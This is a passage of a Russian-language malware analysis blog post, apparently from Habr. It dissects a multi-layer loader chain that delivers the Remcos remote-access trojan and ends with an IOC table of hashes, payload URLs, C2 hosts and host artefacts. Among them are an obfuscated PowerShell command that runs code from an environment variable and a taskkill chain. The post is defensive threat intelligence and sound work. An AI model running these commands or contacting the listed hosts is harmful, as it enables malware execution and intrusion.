\u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a.<\/p>\n
          \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e \u0442\u0443\u043c\u0431\u043b\u0435\u0440\u044b. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0441\u0435\u0431\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b: \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435, watchdog, \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 Remcos \u043d\u0430 \u0434\u0438\u0441\u043a, \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a. \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c. \u0422\u043e, \u0447\u0442\u043e \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u2014 \u044d\u0442\u043e \u043b\u0430\u0439\u0442-\u0432\u0435\u0440\u0441\u0438\u044f<\/strong>, \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0434 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443. \u041e\u0441\u043e\u0437\u043d\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u043a\u0442\u0430 \u0432\u0430\u0436\u043d\u043e \u043f\u043e \u0434\u0432\u0443\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0437\u0430\u0449\u0438\u0442\u0430, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0442\u0438\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0432\u0438\u0434\u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c \u0441\u044d\u043c\u043f\u043b\u0435, \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043f\u0440\u043e\u0442\u0438\u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u2014 \u0433\u0434\u0435 \u0442\u0443\u043c\u0431\u043b\u0435\u0440\u044b \u0443\u0436\u0435 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u044b. \u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0432 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0431\u044b\u043b\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u2014 \u0442\u0435 \u0436\u0435 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u0441 \u0433\u043e\u043b\u044b\u0445 IP, \u0442\u0435 \u0436\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430, \u0442\u0435 \u0436\u0435 MSBuild \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f\u043c\u0438 \u2014 \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439, \u0447\u0442\u043e \u0442\u0430\u043c \u0442\u043e\u0436\u0435 \u0431\u044b\u043b\u043e \u0432\u0441\u0451 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043e<\/strong>. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0430 \u0442\u043e\u043c \u0445\u043e\u0441\u0442\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0438 \u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435, \u0438 watchdog, \u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u0434\u0438\u0441\u043a.<\/p>\n
          \u0421\u0432\u0435\u0436\u0435\u0441\u0442\u044c \u043e\u0431\u0440\u0430\u0437\u0446\u0430 \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0445\u044d\u0448\u0435\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e \u0432 VirusTotal. \u042d\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043d\u043e\u0432\u0430\u044f, \u2014 \u0434\u0432\u0438\u0436\u043e\u043a Remcos \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0433\u043e\u0434\u0430\u043c\u0438, \u043b\u043e\u0430\u0434\u0435\u0440 \u043e\u043f\u0438\u0441\u0430\u043d \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u0430\u0445, \u043f\u0440\u0438\u0451\u043c\u044b \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0434\u0430\u0432\u043d\u043e \u0432 \u0443\u0447\u0435\u0431\u043d\u0438\u043a\u0430\u0445. \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0430\u044f \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f<\/strong> \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0435\u0449\u0451 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0430\u0441\u044c \u043d\u0438\u043a\u043e\u043c\u0443. \u0418\u043c\u0435\u043d\u043d\u043e \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u044d\u043c\u043f\u043b\u0430\u0445 \u0438 \u0436\u0438\u0432\u0451\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c: \u043e\u043d\u0438 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u043a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0432\u0435\u0449\u0438 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0432 \u0447\u0443\u0442\u044c-\u0447\u0443\u0442\u044c \u0434\u0440\u0443\u0433\u0443\u044e \u0444\u043e\u0440\u043c\u0443 \u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043c\u0438\u043c\u043e \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432.<\/p>\n
          \u0418 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435, \u0447\u0442\u043e \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u0441\u043a\u0430\u0437\u0430\u0442\u044c. \u0427\u0438\u0442\u0430\u044f \u0442\u0430\u043a\u0438\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b, \u043b\u0435\u0433\u043a\u043e \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u043b\u043e\u0432\u0443\u0448\u043a\u0443 \u0438 \u043f\u043e\u0434\u0443\u043c\u0430\u0442\u044c, \u0447\u0442\u043e \u0432\u043e\u0442 \u0441\u0435\u0439\u0447\u0430\u0441 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0432\u0441\u0451 \u043f\u043e \u043f\u043e\u043b\u043e\u0447\u043a\u0430\u043c, \u0442\u0435\u043f\u0435\u0440\u044c-\u0442\u043e \u0432\u0441\u0451 \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0442\u0435\u043f\u0435\u0440\u044c-\u0442\u043e \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u043a\u0430\u043a \u044d\u0442\u043e \u043b\u043e\u0432\u0438\u0442\u044c. \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u044d\u043c\u043f\u043b\u0430 \u2014 \u044d\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u043d\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0442\u0430\u043a. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0432\u0441\u0435\u0439 \u044d\u0442\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0443\u0436\u0435 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u0435\u0451 \u043f\u043e\u0434 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0440\u0430\u0437\u0431\u043e\u0440\u0430\u0445, \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043e\u0431\u0440\u0430\u0437\u0435\u0446 \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0434\u0440\u0443\u0433\u0438\u043c. \u0413\u043e\u043d\u043a\u0430 \u043d\u0435 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043e\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u0440\u0443\u0433.<\/p>\n
          IOC<\/h2>\n
          \u0424\u0430\u0439\u043b\u044b<\/strong><\/p>\n
          \n
          \n\n\n\n\n\n\n\n
          \n
          \n<\/td>\n
          		\n
          \u041e\u0431\u044a\u0435\u043a\u0442<\/p>\n<\/td>\n
          		\n
          SHA256<\/p>\n<\/td>\n
          		\n
          MD5<\/p>\n<\/td>\n<\/tr>\n
          \n
          1<\/p>\n<\/td>\n
          		\n
          dTSlkj83JJD.js<\/p>\n<\/td>\n
          		\n
          efcca24e16aa3f38494afddfd5372d09dc9eaac07778fbd7e8e5deb09a155a4<\/p>\n<\/td>\n
          		\n
          bac2291f98a691f66ff13a70afd932b0<\/p>\n<\/td>\n<\/tr>\n
          \n
          4<\/p>\n<\/td>\n
          		\n
          myprogram.exe<\/p>\n<\/td>\n
          		\n
          75fb6e1ed42895e5e0385b6900fe73617c45f2243fb56f8044c04b6f6ee9660d<\/p>\n<\/td>\n
          		\n
          34742cb72fb9202029303b21ac75d1a6<\/p>\n<\/td>\n<\/tr>\n
          \n
          5<\/p>\n<\/td>\n
          		\n
          dbjdfmd.txt<\/p>\n<\/td>\n
          		\n
          116b783c49b924ce6d049b5f5c00346c8d4b7fe679e0452e1d24c0b33c31cf43<\/p>\n<\/td>\n
          		\n
          307bda53b8b32e6343cf0da4b6fd9ff5<\/p>\n<\/td>\n<\/tr>\n
          \n
          6<\/p>\n<\/td>\n
          		\n
          Remcos 7.3.1 Pro<\/p>\n<\/td>\n
          		\n
          17425ec04e72b56629b811fed411f429c102bb773cf74d9e7493e561750706f2<\/p>\n<\/td>\n
          		\n
          0aec82f3f4452f9ab522f1378189ba7a<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n
          \u0421\u0435\u0442\u044c<\/strong><\/p>\n
          \n
          \n\n\n\n\n\n\n\n\n\n\n\n\n\n
          \n
          \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440<\/p>\n<\/td>\n
          		\n
          \u0420\u043e\u043b\u044c<\/p>\n<\/td>\n<\/tr>\n
          \n
          http:\/\/64.224.17.115\/img\/1.jpg<\/a><\/p>\n<\/td>\n
          		\n
          \u0441\u043b\u043e\u0439 3 \u2192 \u0441\u043b\u043e\u0439 4<\/p>\n<\/td>\n<\/tr>\n
          \n
          http:\/\/217.60.76.249:8080\/1.jpg<\/a><\/p>\n<\/td>\n
          		\n
          \u0441\u043b\u043e\u0439 3 \u2192 \u0441\u043b\u043e\u0439 4<\/p>\n<\/td>\n<\/tr>\n
          \n
          http:\/\/104.223.84.34\/1.jpg<\/a><\/p>\n<\/td>\n
          		\n
          \u0441\u043b\u043e\u0439 3 \u2192 \u0441\u043b\u043e\u0439 4<\/p>\n<\/td>\n<\/tr>\n
          \n
          nd.tdpqnf.com<\/a><\/p>\n<\/td>\n
          		\n
          \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u0430<\/p>\n<\/td>\n<\/tr>\n
          \n
          http:\/\/nd.tdpqnf.com\/sxpl\/dbjdfmd.txt<\/a><\/p>\n<\/td>\n
          		\n
          \u0441\u043b\u043e\u0439 4 \u2192 \u0441\u043b\u043e\u0439 6<\/p>\n<\/td>\n<\/tr>\n
          \n
          192.159.99.168:2404<\/p>\n<\/td>\n
          		\n
          C2 Remcos<\/p>\n<\/td>\n<\/tr>\n
          \n
          www.phongketaonduchuylogistics.com:2404<\/p>\n<\/td>\n
          		\n
          C2 Remcos<\/p>\n<\/td>\n<\/tr>\n
          \n
          www.phongketaonduchuylogistics1.com:2404<\/p>\n<\/td>\n
          		\n
          C2 Remcos<\/p>\n<\/td>\n<\/tr>\n
          \n
          www.phongketaonduchuylogistics2.com:2404<\/p>\n<\/td>\n
          		\n
          C2 Remcos<\/p>\n<\/td>\n<\/tr>\n
          \n
          pro.ip-api.com\/line\/?key=QPVvv1rHQJD2pd2<\/a><\/p>\n<\/td>\n
          		\n
          \u0433\u0435\u043e\u043b\u043e\u043a\u0430\u0446\u0438\u044f. \u0412\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u043e  \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u0431\u043e\u0440\u043a\u0430\u0445 Remcos, \u043a\u0430\u043a \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441\u043b\u0430\u0431\u044b\u0439<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n
          \u0425\u043e\u0441\u0442<\/strong><\/p>\n
          \n
          \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
          \n
          \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440<\/p>\n<\/td>\n
          		\n
          \u0413\u0434\u0435<\/p>\n<\/td>\n<\/tr>\n
          \n
          HKCU\\Environment\\dSkoAdAFz<\/p>\n<\/td>\n
          		\n
          \u0440\u0435\u0435\u0441\u0442\u0440, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0435\u043a\u0443\u043d\u0434\u044b.  \u041b\u043e\u0432\u0438\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0435\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440<\/p>\n<\/td>\n<\/tr>\n
          \n
          \u041a\u043e\u043c\u0430\u043d\u0434\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 powershell.exe  ^&([char[]](105,101,120)-join») $env:dSkoAdAFz<\/p>\n<\/td>\n
          		\n
          \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/p>\n<\/td>\n<\/tr>\n
          \n
          \u0426\u0435\u043f\u043e\u0447\u043a\u0430 WmiPrvSE.exe \u2192 cmd.exe \u2192  powershell.exe<\/p>\n<\/td>\n
          		\n
          \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/p>\n<\/td>\n<\/tr>\n
          \n
          csc.exe \u0441 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c  powershell.exe, \u043a\u043b\u0430\u0441\u0441 PhantoggfnNOtg<\/p>\n<\/td>\n
          		\n
          Add-Type \u0432 stage 3<\/p>\n<\/td>\n<\/tr>\n
          \n
          cmd.exe \/c taskkill \/IM  RegAsm.exe \/F & taskkill \/IM Vbc.exe \/F & taskkill \/IM MsBuild.exe \/F<\/p>\n<\/td>\n
          		\n
          \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/p>\n<\/td>\n<\/tr>\n
          \n
          C:\\Windows\\Microsoft.NET<\/a>\\Framework64\\v4.0.30319\\Msbuild.exe  \u0431\u0435\u0437 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c powershell.exe, \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 TCP 2404<\/p>\n<\/td>\n
          		\n
          \u043f\u0440\u043e\u0446\u0435\u0441\u0441 + \u0441\u0435\u0442\u044c<\/p>\n<\/td>\n<\/tr>\n
          \n
          Mutex Rmc-ZZN75B<\/p>\n<\/td>\n
          		\n
          \u043f\u0430\u043c\u044f\u0442\u044c<\/p>\n<\/td>\n<\/tr>\n
          \n
          HKCU\\Software\\Rmc-ZZN75B (\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f exepath, licence)<\/p>\n<\/td>\n
          		\n
          \u0440\u0435\u0435\u0441\u0442\u0440, \u043a\u043b\u044e\u0447 Remcos<\/p>\n<\/td>\n<\/tr>\n
          \n
          logs.dat, \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 Screenshots, MicRecords<\/p>\n<\/td>\n
          		\n
          \u0444\u0430\u0439\u043b\u043e\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 (\u0434\u0430\u043d\u043d\u044b\u0435 Remcos)<\/p>\n<\/td>\n<\/tr>\n
          \n
          %TEMP%\\wrfgdfjdse.bat<\/p>\n<\/td>\n
          		\n
          \u0444\u0430\u0439\u043b watchdog \u043b\u043e\u0430\u0434\u0435\u0440\u0430 (\u0432 \u044d\u0442\u043e\u0439  \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f)<\/p>\n<\/td>\n<\/tr>\n
          \n
          \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u044f RunOnce\/Run \u0438\u0437 10  \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 [a-oFAS], \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u0430 `%ProgramData%*.bat<\/p>\n<\/td>\n
          		\n
          vbs<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n
          \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 https:\/\/habr.com\/ru\/articles\/1093948\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
          \u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440! \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044f \u0445\u043e\u0447\u0443 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u043e\u0434\u0438\u043d \u043d\u0435\u0432\u0437\u0440\u0430\u0447\u043d\u044b\u0439 .js-\u0444\u0430\u0439\u043b \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0441\u044f \u0432 \u0448\u0435\u0441\u0442\u044c \u0441\u043b\u043e\u0451\u0432 \u0443\u043f\u0430\u043a\u043e\u0432\u043a\u0438, \u0438 \u0432 \u0441\u0430\u043c\u043e\u043c \u0446\u0435\u043d\u0442\u0440\u0435 \u044d\u0442\u043e\u0439 \u043c\u0430\u0442\u0440\u0451\u0448\u043a\u0438 \u0441\u0438\u0434\u0435\u043b \u0441\u0442\u0430\u0440\u044b\u0439 \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0439 Remcos.\u041d\u0435\u043c\u043d\u043e\u0436\u043a\u043e \u0434\u0443\u0445\u043e\u0442\u044b\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442\u042d\u0442\u043e \u043d\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0438 \u043d\u0435 \u0443\u0447\u0435\u0431\u043d\u0438\u043a \u043f\u043e \u0441\u0431\u043e\u0440\u043a\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0446\u0435\u043f\u043e\u0447\u0435\u043a, \u0430 \u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u043e \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f: \u0447\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u043b\u043e\u0435, \u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043f\u0440\u043e\u0442\u0438\u0432 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432. \u0417\u0434\u0435\u0441\u044c \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043a\u043b\u044e\u0447\u0435\u0439 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u043e\u0432 Remcos \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438. \u0411\u0443\u0434\u0443\u0442 \u0442\u0430\u043a\u0442\u0438\u043a\u0438, \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0438 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041a\u043e\u0434 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435\u0440\u0430\u0431\u043e\u0447\u0438\u0439: \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u043e\u0431\u0435\u0437\u0432\u0440\u0435\u0436\u0435\u043d\u044b, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f. \u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0441\u043b\u043e\u0451\u0432 \u044f \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c \u0432 \u0431\u043b\u043e\u043a\u043d\u043e\u0442\u0435 \u0438 CyberChef, \u0431\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0444\u0442\u0430. \u0414\u043b\u044f \u0432\u044b\u0447\u0438\u0442\u043a\u0438, \u043f\u0440\u0430\u0432\u043e\u043a \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u0446\u0438\u0439 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0418\u0418. \u0412\u00a0\u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u0441\u044d\u043c\u043f\u043b\u0430 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0445\u044d\u0448\u0430 \u0438\u0437\u00a0\u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043d\u0430\u00a0VirusTotal \u043d\u0435\u00a0\u0431\u044b\u043b\u043e, \u0430\u00a0\u043e\u0434\u0438\u043d \u0438\u0437\u00a0\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0441\u043e\u0431\u0440\u0430\u043d \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u00a0\u0441\u0443\u0442\u043a\u0438 \u0434\u043e\u00a0\u0442\u043e\u0433\u043e, \u043a\u0430\u043a\u00a0\u043f\u043e\u043f\u0430\u043b \u043a\u043e \u043c\u043d\u0435. \u0421\u00a0\u0447\u0435\u0433\u043e \u0432\u0441\u0451 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c? \u041d\u0430\u00a0\u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u0440\u0438\u043b\u0435\u0442\u0435\u043b \u0444\u0430\u0439\u043b dTSlkj83JJD.js. \u041e\u0442\u043a\u0443\u0434\u0430 \u043e\u043d \u043f\u0440\u0438\u043b\u0435\u0442\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0437\u0430\u00a0\u043a\u0430\u0434\u0440\u043e\u043c, \u0432\u0430\u0436\u043d\u0435\u0435 \u0442\u043e, \u0447\u0442\u043e\u00a0\u0431\u044b\u043b\u043e \u0434\u0430\u043b\u044c\u0448\u0435.\u0412\u0435\u0441\u044c \u0440\u0430\u0437\u0431\u043e\u0440 \u044f \u0434\u0435\u043b\u0430\u043b \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0442\u0430\u0434\u0438\u044f \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430\u0441\u044c: \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u043b\u043e\u0439 \u0432\u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0441\u044f \u043f\u043e \u043a\u043e\u0434\u0443 \u0438 \u0434\u0430\u043d\u043d\u044b\u043c, \u0430 \u043d\u0435 